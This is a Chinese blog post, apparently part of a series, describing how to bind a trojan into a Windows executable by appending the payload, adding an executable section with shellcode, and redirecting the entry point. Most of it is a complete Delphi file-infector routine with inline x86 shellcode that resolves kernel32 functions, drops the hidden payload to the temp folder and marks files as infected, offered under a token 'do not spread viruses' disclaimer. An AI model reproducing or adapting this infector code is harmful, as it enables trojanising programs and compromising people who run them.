上次写到使用附加捆绑文件的方式. 这次介绍使用签入式捆绑
签入式捆绑的原理也很简单,
也是把木马程序附加到程序尾部 然后在原程序里添加一个代码节
用来把木马程序释放出来. 最后将原程序的入口点改成添加节的起始地址
由于这种试会改变原程序的大小,并且和程序运行的环境有关.
所以 .net或其它的虚拟机程序是不能被运行的.
还有一种就是有附加数据的程序 因为改变了文件的大小 如果强行捆绑 有可能会使原程序执行出错.
下面给出捆绑代码(请勿用于病毒传播)Demo下载
procedure InfectOneFile(ASrcFileName,ADesFileName: string; const isCheck: Boolean = true); var I: integer; F,F1: THandle; dReadNum: DWORD; DosHeader: TImageDosHeader; NTHeader: TImageNtHeaders; {NtHeader} NewSectionHeader,SEChea: TImageSectionHeader; nOldSectionNo: Integer;{节数目} OEP: Integer; {入口点} SectionAlign: Integer; {节对齐} FileAlign: Integer; {文件对齐} Data: TDatas; pShell: PChar; nShellLen, nNewImageSize, nNewSizeofCode: Integer; jmp: BYTE; buf: array[0..$1000] of byte; TempPath: string; FileSize: Integer; label shellend, shell, Search, QUIT,RE; begin TempPath := ''; F := CreateFile(PChar(ADesFileName), GENERIC_READ or GENERIC_WRITE, 0, nil, OPEN_EXISTING, 0, 0); try //打开失败退出 if F = INVALID_HANDLE_VALUE then begin {$IFDEF DEBUG} AddLog('打开文件失败'+ADesFileName); {$ENDIF} Exit; end; //检查是否PE文件 ReadFile(F, DosHeader, SizeOf(TImageDosHeader), dReadNum, nil); if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then begin {$IFDEF DEBUG} AddLog('不是PE文件'+ADesFileName); {$ENDIF} Exit; end; SetFilePointer(F, $30, nil, FILE_BEGIN); ReadFile(F, Data, SizeOf(TDatas), dReadNum, nil); if Data.ID = $88888888 then {已经被附加} begin {$IFDEF DEBUG} AddLog('已经感染'+ADesFileName); {$ENDIF} Exit; end; //读取NTHeader SetFilePointer(F, DosHeader._lfanew, nil, FILE_BEGIN); ReadFile(F, NTHeader, SizeOf(NTHeader), dReadNum, nil); if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit; if (NTHeader.FileHeader.Characteristics = $10E) and isCheck then begin {$IFDEF DEBUG} AddLog('.net或其它文件'+ADesFileName); {$ENDIF} Exit; //.net 或其它文件 不能附加 end; nOldSectionNo := NTHeader.FileHeader.NumberOfSections; OEP := NTHeader.OptionalHeader.AddressOfEntryPoint; SectionAlign := NTHeader.OptionalHeader.SectionAlignment; FileAlign := NTHeader.OptionalHeader.FileAlignment; ZeroMemory(@NewSectionHeader, SizeOf(TImageSectionHeader)); //读取最后一个节头 SetFilePointer(F, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN); for i := 0 to nOldSectionNo - 1 do ReadFile(F, SEChea, SizeOf(TImageSectionHeader), dReadNum, nil); FileSize := GetFileSize(F, nil); if (FileSize <> SEChea.PointerToRawData + SEChea.SizeOfRawData) and isCheck then begin //有附加数据不能附加 {$IFDEF DEBUG} AddLog('.有附加数据不能感染'+ADesFileName); {$ENDIF} Exit; end; goto shellend; asm shell: pushad mov eax, fs:$30 //;PEB的地址 mov eax, [eax + $0c] mov esi, [eax + $1c] lodsd mov eax, [eax + $08] //;eax就是kernel32.dll的基址 mov edi, eax //同时保存kernel32.dll的基址到edi //通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址 mov ebp, eax mov eax, [ebp + $3c] mov edx, [ebp + eax + $78] add edx, ebp mov ecx, [edx + $18] mov ebx, [edx + $20] add ebx, ebp Search: dec ecx mov esi, [ebx + ecx * 4] add esi, ebp mov eax, $50746547 cmp [esi], eax //比较"PteG" jne Search mov eax, $41636f72 cmp [esi + 4], eax jne Search mov ebx, [edx + $24] add ebx, ebp mov cx, [ebx + ecx * 2] mov ebx, [edx + $1c] add ebx, ebp mov eax, [ebx + ecx * 4] add eax, ebp //eax保存的就是GetProcAddress的地址 //为局部变量分配空间 push ebp sub esp, $50 mov ebp, esp mov [ebp + $10], eax //把GetProcAddress的地址保存到ebp + 10中 //查找 GlobalAlloc push DWORD PTR $636F6C push DWORD PTR $6C416C61 push DWORD PTR $626F6C47 push esp push edi call [ebp + $10] //mov [ebp + $14], eax //保存GlobalAlloc的地址到ebp + 14h push $1000 //分配$1000空间内存 push GHND call eax mov [ebp + $4C], eax//保存hMem mov eax, [eax] // mov [ebp + $4], eax //mov [ebp + $14], eax //保存指针 //mov eax, edx mov [eax],DWORD PTR $61657243 add eax, 4 mov [eax],DWORD PTR $69466574 add eax, 4 mov [eax],DWORD PTR $41656C //开始查找CreateFileA的地址, 先构造"CreateFileA\0" push [ebp + $4] //压入"CreateFileA\0"的地址 push edi //edi:kernel32的基址 call [ebp + $10] //返回值(即CreateFileA的地址)保存在eax中 mov [ebp + $14], eax //保存CreateFileA的地址到ebp + 14h //开始查找ReadFile的地址 mov eax, [ebp + $4] mov [eax],DWORD PTR $64616552 add eax, 4 mov [eax],DWORD PTR $656C6946 add eax, 4 mov [eax],DWORD PTR $0 push [ebp + $4] push edi call [ebp + $10] mov [ebp + $18], eax //保存ReadFile的地址到ebp + 18h //查找 WriteFile mov eax, [ebp + $4] mov [eax],DWORD PTR $74697257 add eax, 4 mov [eax],DWORD PTR $6C694665 add eax, 4 mov [eax],DWORD PTR $65 push [ebp + $4] push edi call [ebp + $10] mov [ebp + $1C], eax //保存WriteFile的地址到ebp + 1Ch //查找GetModuleFileNameA mov eax, [ebp + $4] mov [eax],DWORD PTR $4D746547 add eax, 4 mov [eax],DWORD PTR $6C75646F add eax, 4 mov [eax],DWORD PTR $6C694665 add eax, 4 mov [eax],DWORD PTR $6D614E65 add eax, 4 mov [eax],DWORD PTR $4165 push [ebp + $4] push edi call [ebp + $10] mov [ebp + $20], eax //保存GetModuleFileNameA的地址到ebp + 20h //查找SetFilePointer mov eax, [ebp + $4] mov [eax],DWORD PTR $46746553 add eax, 4 mov [eax],DWORD PTR $50656C69 add eax, 4 mov [eax],DWORD PTR $746E696F add eax, 4 mov [eax],DWORD PTR $7265 push [ebp + $4] push edi call [ebp + $10] mov [ebp + $24], eax //查找 GetTempPathA mov eax, [ebp + $4] mov [eax],DWORD PTR $54746547 add eax, 4 mov [eax],DWORD PTR $50706D65 add eax, 4 mov [eax],DWORD PTR $41687461 add eax, 4 mov [eax],DWORD PTR $0 push [ebp + $4] push edi call [ebp + $10] mov [ebp + $28], eax //查找CloseHandle mov eax, [ebp + $4] mov [eax],DWORD PTR $736F6C43 add eax, 4 mov [eax],DWORD PTR $6E614865 add eax, 4 mov [eax],DWORD PTR $656C64 push [ebp + $4] push edi call [ebp + $10] mov [ebp + $2C], eax //查找WinExec mov eax, [ebp + $4] mov [eax],DWORD PTR $456E6957 add eax, 4 mov [eax],DWORD PTR $636578 push [ebp + $4] push edi call [ebp + $10] mov [ebp + $30], eax //获取文件名 push $FF //lea eax, [ebp + $4] push [ebp + $4] push DWORD PTR $0 call [ebp + $20] //GetModuleFileName //打开文件 push $0 push $0 push OPEN_EXISTING push $0 push FILE_SHARE_READ push GENERIC_READ push [ebp + $4] call [ebp + $14] mov [ebp + $34], eax //保存文件句柄 cmp eax, $FFFFFFFF //打开失败 jz QUIT //SetFilePointer $30 push $0 push $0 push $30 push [ebp + $34] call [ebp + $24] //SetFilePointer //ReadFile ID push $0 mov eax, [ebp + $4] push eax push $4 add eax, 4 push eax push [ebp + $34] call [ebp + $18] //ReadFile ID mov eax, [ebp + $4] add eax, 4 cmp [eax], $88888888 jnz QUIT //ReadFile Offset push $0 mov eax,[ebp + $4] push eax push $4 add eax, 4 push eax //Offset push [ebp + $34] call [ebp + $18] //ReadFile Size push $0 mov eax,[ebp + $4] push eax push $4 add eax, 8 push eax //Size push [ebp + $34] call [ebp + $18] //SetFilePointer OffSet push $0 push $0 mov eax, [ebp + $4] add eax, 4 push [eax] push [ebp + $34] call [ebp + $24] mov eax,[ebp + $4] add eax, $C push eax push $FF call [ebp + $28] //TempPath mov edx,[ebp + $4] add edx, $C add eax, edx mov [eax],DWORD PTR $2E656d69 add eax, 4 mov [eax],DWORD PTR $657865 //打开文件 push $0 push $0 push CREATE_ALWAYS push $0 push $0 push GENERIC_WRITE push edx call [ebp + $14] //CreateFile NewFile mov [ebp + $44], eax //保存文件句柄 cmp eax, $FFFFFFFF jz QUIT RE: //ReadFile push $0 mov eax,[ebp + $4] push eax push $FF add eax, $C add eax, $FF push eax//Buff push [ebp + $34] call [ebp + $18] //ReadFile //WriteFile push $0 mov eax,[ebp + $4] push eax push [eax] add eax, $C add eax, $FF push eax//Buff push [ebp + $44] call [ebp + $1C] mov eax, [ebp + $4] cmp [eax], 0 jnz RE push [ebp + $44] call [ebp + $2c] //关闭新文件句柄 push [ebp + $34] call [ebp + $2c] //关闭文件句柄 //运行程序 (这里省略一部分) //释放内存 mov eax, [ebp + $4] mov [eax],DWORD PTR $626F6C47 add eax, 4 mov [eax],DWORD PTR $72466C61 add eax, 4 mov [eax],DWORD PTR $6565 push [ebp + $4] push edi call [ebp + $10] //GlobalFree push [ebp + $4C] call eax QUIT: mov esp, ebp add esp, $50 popad end; shellend: asm LEA EAX,shell MOV pShell,EAX; LEA EBX,shellend SUB EBX,EAX MOV nShellLen,EBX end; FileSize := GetFileSize(F, nil); SetFilePointer(F, SEChea.PointerToRawData + SEChea.SizeOfRawData, nil, FILE_BEGIN); if FileSize <> SEChea.PointerToRawData + SEChea.SizeOfRawData then //有附加数据 begin //将附加数据写入临时文件 TempPath := GetTempDir + '{3B034D2C-A7B4-47D0-BA07-988E9359649D}'; F1 := CreateFile(PChar(TempPath), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0); try if F1 = INVALID_HANDLE_VALUE then Exit; repeat ReadFile(F, buf, sizeOf(buf), dReadNum, nil); WriteFile(F1, buf, dReadNum, dReadNum, nil); until dReadNum = 0; finally CloseHandle(F1); end; end; //写入代码 SetFilePointer(F, SEChea.PointerToRawData + SEChea.SizeOfRawData, nil, FILE_BEGIN); //原来的文件没有对齐 if Align(SEChea.SizeOfRawData, FileAlign) <> SEChea.SizeOfRawData then begin jmp := $00; for i := 0 to Align(SEChea.SizeOfRawData,FileAlign) - SEChea.SizeOfRawData - 1 do WriteFile(F, jmp, 1, dReadNum, nil); end; WriteFile(F, pShell^, nShellLen, dReadNum, nil); //SHELLCODE之后是跳转到原OEP的指令 NewSectionHeader.VirtualAddress := SEChea.VirtualAddress + Align(SEChea.Misc.VirtualSize,SectionAlign); jmp := $E9; OEP := OEP - (NewSectionHeader.VirtualAddress + nShellLen) - 5; WriteFile(F, jmp, sizeof(jmp), dReadNum, nil); WriteFile(F, OEP, sizeof(OEP), dReadNum, nil); //将最后增加的数据用0填充至按文件中对齐的大小 jmp := $00; for i:=0 to Align(nShellLen,FileAlign) - nShellLen - 6 do WriteFile(F, jmp, 1, dReadNum, nil); //新区块中的数据 Move('.data', NewSectionHeader.Name, 5); NewSectionHeader.PointerToRawData := SEChea.PointerToRawData + Align(SEChea.SizeOfRawData, FileAlign); NewSectionHeader.Misc.VirtualSize := nShellLen; NewSectionHeader.SizeOfRawData := Align(nShellLen, FileAlign); NewSectionHeader.Characteristics := $E0000020;//新区块可读可写可执行 SetFilePointer(F, DosHeader._lfanew + SizeOf(TImageNtHeaders) + SizeOf(TImageSectionHeader) * nOldSectionNo, nil, FILE_BEGIN); //写入新的块表 WriteFile(F, NewSectionHeader,SizeOf(TImageSectionHeader),dReadNum, nil); nNewImageSize := NTHeader.OptionalHeader.SizeOfImage + Align(nShellLen, SectionAlign); nNewSizeofCode := NTHeader.OptionalHeader.SizeOfCode + Align(nShellLen, FileAlign); NTHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress := 0; NTHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size := 0; NTHeader.OptionalHeader.SizeOfCode := nNewSizeofCode; NTHeader.OptionalHeader.SizeOfImage := nNewImageSize; NTHeader.FileHeader.NumberOfSections := nOldSectionNo + 1; NTHeader.OptionalHeader.AddressOfEntryPoint := NewSectionHeader.VirtualAddress; //写入更新后的PE头结构 SetFilePointer(F, DosHeader._lfanew, nil, FILE_BEGIN); WriteFile(F, NTHeader ,Sizeof(TImageNTHeaders), dReadNum, nil); if TempPath <> '' then //将附加数据写回来 begin F1 := CreateFile(PChar(TempPath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); try if F1 = INVALID_HANDLE_VALUE then Exit; SetFilePointer(F, NewSectionHeader.SizeOfRawData + NewSectionHeader.PointerToRawData, nil, FILE_BEGIN); repeat ReadFile(F1, buf, sizeOf(buf), dReadNum, nil); WriteFile(F, buf, dReadNum, dReadNum, nil); until dReadNum = 0; finally CloseHandle(F1); DeleteFile(PChar(TempPath)); end; end; //写入附加数据 F1 := CreateFile(PChar(ASrcFileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); try if F1 = INVALID_HANDLE_VALUE then begin {$IFDEF DEBUG} AddLog('打开源文件失败'+ASrcFileName); {$ENDIF} Exit; end; Data.ID := $88888888; Data.Offset := NewSectionHeader.SizeOfRawData + NewSectionHeader.PointerToRawData; Data.Size := GetFileSize(F1, nil); SetFilePointer(F, $30, nil, FILE_BEGIN); WriteFile(F, Data, SizeOf(TDatas), dReadNum, nil); SetFilePointer(F, 0, nil, FILE_END); SetFilePointer(F1, 0, nil, FILE_BEGIN); repeat ReadFile(F1, buf, sizeOf(buf), dReadNum, nil); WriteFile(F, buf, dReadNum, dReadNum, nil); until dReadNum = 0; finally CloseHandle(F1); end; finally CloseHandle(F); end; {$IFDEF DEBUG} AddLog(ASrcFileName+'感染成功'+ADesFileName); {$ENDIF} end;
——————————————————————————–
【版权声明】: 本文原创于http://2Lin.net, 转载请注明作者并保持文章的完整, 谢谢!
好一个$2E656d69… -_-o
还要自己写TDatas的结构…汗~~~